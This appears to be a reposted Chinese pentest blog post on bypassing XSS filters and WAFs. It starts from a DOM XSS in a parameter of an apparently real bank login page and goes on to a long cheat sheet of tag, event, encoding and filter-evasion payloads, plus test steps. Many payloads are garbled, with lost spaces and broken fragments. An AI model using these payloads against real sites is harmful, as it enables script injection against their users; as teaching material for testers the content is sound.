0x01前言
通过插入字符发现loginType参数存在xss。
http
://qdzxxxx.com/pweb/prelogin.do?_locale=zh_CN&BankId=&LoginType=R
%22
confirm(110)+
%22
%3
E
如果思路没转换过来,或者陷入硬钢xss waf正则的思路,那么这个xss就x不过来。
如下所示,</scirpt>如果闭合成功,之后的xss waf很难过得去。
这里的防护功能体现在这里,出现一些敏感字符会出现302重定向,如下。
比如大部分的on事件用不了了,然后是绝大部分属性都被过滤,例如href=xxx style=xxx都无法成功。以及javascript难以绕过。
但是我可以转变思路,因为这实际上是个dom型xss
使用
http
://qdxxxxx.com/pweb/prelogin.do?_locale=zh_CN&BankId=&LoginType=R
%22
-confirm(110)-
%22
%3
E
因为这里使用-符号来打断了js代码的执行,或者使用== * / 等各种符号。
下面是一些常见的XSS绕过手法和XSS容易出现的地方。
限制绕过
常见标签
<script>alert(
1
)</script>
<img>标签
<imgsrc=javascript:alert(“xss”)>
<IMGSRC=javascript:alert(String.formCharCode(
88
,
83
,
83
))>
<imgscr=”URL”style=’Xss:expression(alert(/xss));’
<imgsrc=”x”onerror=alert(
1
)>
<imgsrc=”
1
″onerror=eval(“alert(‘xss’)”)>
<imgsrc=
1
onmouseover=alert(‘xss’)>
<a>标签
标准格式<ahref=”https:
//www.baidu.com”>baidu</a>
<ahref=”javascript:alert(‘xss’)”>aa</a>
<ahref=javascript:eval(alert(‘xss’))>aa</a>
<ahref=”javascript:aaa”onmouseover=”alert(/xss/)”>aa</a>
<ahref=””onclick=eval(alert(‘xss’))>aa</a>
<ahref=kycg.asp?ttt=
1000
onmouseover=prompt(‘xss’)y=
2016
>aa</a>
<input>标签
<inputvalue=””onclick=alert(‘xss’)type=”text”>
<inputname=”name”
value
=””onmouseover=prompt(‘xss’)bad=””>
<inputname=”name”
value
=””><script>alert(‘xss’)</script>
<form>标签
<formaction=javascript:alert(‘xss’)method=”
get
”>
<formaction=javascript:alert(‘xss’)>
<formmethod=postaction=aa.asp?onmouseover=prompt(‘xss’)>
<formmethod=postaction=aa.asp?onmouseover=alert(‘xss’)>
<formaction=
1
onmouseover=alert(‘xss)>
<formmethod=postaction=”data:text/html;base64,<script>alert(‘xss’)</script>”>
<formmethod=postaction=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”>
<iframe>标签
<iframesrc=javascript:alert(‘xss’);height=
5
width=
1000
/><iframe>
<iframesrc=”data:text/html,<script>alert(‘xss’)</script>”></iframe>
<iframesrc=”data:text/html;base64,<script>alert(‘xss’)</script>”>
<iframesrc=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”>
<iframesrc=”aaa”onmouseover=alert(‘xss’)/><iframe>
<iframesrc=”javascript:prompt(xss)”></iframe>
<svg>标签
<svgonload=alert(
1
)>
CSS
<img STYLE=”background-image:url(javascript:alert(‘XSS’))”>
限制绕过
实际应用中web程序往往会通过一些过滤规则来防止代有恶意代码的用户输入被显示。当上述代码(常见标签中的代码)被注入到输入框或者URL参数中时,可能会成功也可能会失败,如果失败了,并不意味着网站不存在XSS漏洞,需要对其进行绕过等方式发掘安全漏洞。这里,给大家总结一些XSS绕过方法。
闭合标签
常规闭合,通过各种方式,闭合前面的语句。
function
escape
(
input
)
{
// warm up
// script should be executed without user interaction
return
‘<input type=”text”
value
=”‘ + input + ‘”>’;
}
“><script>alert(
1
);script>
双写半开括号
function
escape
(
input
)
{
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var
stripTagsRE = /</?[^>]+>/gi;
input = input.replace(stripTagsRE, ”);
return
‘<article>’ + input + ‘</article>’;
}
以上代码中正则会处理尖括号和尖括号中的内容,将其替换成空。所以可以使用双写半开括号”<<“绕过:
<img src=
1
onerror=”prompt(
1
)”<
反引号+编码
function
escape
(
input
)
{
// v– frowny face
input = input.replace(/[=(]/g, ”);
// ok seriously, disallows equal signs and open parenthesis
return
input;
}
以上代码对等号和左括号进行过滤,所以使用反引号代替括号,在通过编码解决。
<script>setTimeoutpromptu00281u0029;</script>
闭合注释
function
escape
(
input
)
{
// filter potential comment end delimiters
input = input.replace(/->/g, ‘_’);
// comment the input to avoid script execution
return
‘<!– ‘ + input + ‘ –>’;
}
以上代码将输出的内容放在注释中,且对->做了替换处理。所以html可以–>或–!>闭合注释
–!><script>prompt(
1
)</script>
闭合大部分的标签
*/–>
'”);>iframe>script>style>title>textarea><a>aa>#*/–>'
”);>iframe>script>style>title>textarea><iframe >
宽字符闭合
*/–>%cf”%d5′>frame>script>style>title>textarea>
回车换行
很多时候,回车换行能绕过很多的限制
%
0
D%
0
A
标签检测绕过
fuzz各种标签,检查是否存在拦截或者过滤
针对黑名单
大小写混写<ScRipt>ALeRt(“XSS”);sCRipT>
双写绕过<scscriptript>alert(
1
)</scriscriptpt>
嵌套绕过ript>alert(/xss/);script>alert(/xss/);script>
空字符绕过,
09
ipt>ALeRt(/XSS/);sCRipT>
特殊字符黑名单,采用其他字符代替,如:
限制 ” 符号,输入<img src=
1
onclick=alert(‘
1
’)>
限制 ‘ 符号,输入<img src=
1
onclick=alert(/
1
/)>、<img src=
1
onclick=”alert(
1
)”>
限制 () 符号,输入<img src=
1
onclick=”alert `’
1
’`”>
限制 () ‘ ” 符号,输入<img src=
1
onclick=alert `
1
`>
或使用实体编码绕过。
绕过字符长度限制
利用事件缩短长度,如,“onclick=alert(
1
)
//”
使用
base
标签,
base
标签可以运用于页面的任何地方,且作用于之后的所有标签。通过在页面插入
base
标签,就可以在远程服务器伪造图片,链接或脚本,劫持页面的相对路径的标签。
对window.name赋值,没有特殊的字符限制。因为window对象是浏览器的窗体,而不是document对象。因此很多时候window对象不受同源策略的限制。可以用这个实现跨域,跨界面的传递。
3.
编码绕过
Javascript的编码
十六进制
Unicode
URL编码
JS编码
HTML实体编码
在线编码/解码工具:站长工具-编码解码在线、
107000
工具站、在线jsons字符实体转换、在线HTML字符实体转换
4.
使用其他标签,<a>、<href>、<img>等;
5.
使用空字符,在关键词中添加空字符;
6.
使用转义字符;
常规Waf绕过思路
[
] 标签语法替换
[
] 特殊符号干扰 比如 /
[
] 提交方式更改 Request的前提下,Waf只检查URL内容而不检查POST内容
[
] 垃圾数据溢出
[
] 加密解密算法
[
] 结合其他漏洞绕过
0x06
测试过程
反射型XSS、DOM型XSS
验证测试情况
在网站的搜索栏、用户登录入口、输入表单等处输入payload,查看页面是否有弹框,则存在反射型XSS漏洞;
现实攻击情况
攻击者寻找具有XSS漏洞的网站,植入payload构造恶意链接,将恶意链接发给用户,诱骗用户点击,用户点击此链接,XSS攻击执行。
存储型XSS
验证测试情况
在论坛、博客、留言板、网站的留言、评论、日志等交互处输入payload,查看页面是否有弹框。若有,先切换至网站其他页面,再返回输入payload的页面,若依旧出现弹窗,则存在存储型XSS漏洞。
现实攻击情况
攻击者在发帖或留言的过程中,将恶意脚本连同正常信息一起注入到发布内容中。随着发布内容被服务器存储下来,恶意脚本也将永久的存放到服务器的后端存储器中。当其他用户浏览这个被注入了
恶意脚本的帖子时,恶意脚本就会在用户的浏览器中得到执行。
常用payload:
<script>alert(
1
)</script>
// 调用JavaScript语句
<img src=x onerror=alert(
1
)>
// src是错误的 就会调用error函数
<a href=javascript:alert(
1
)>
// 点击a即可触发
<svg onload=alert(
1
)>
// 使用svg标签
原文始发于微信公众号(渗透安全HackTwo):某次项目的XSS-Bypss转换思路的xss-top10漏洞挖掘
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论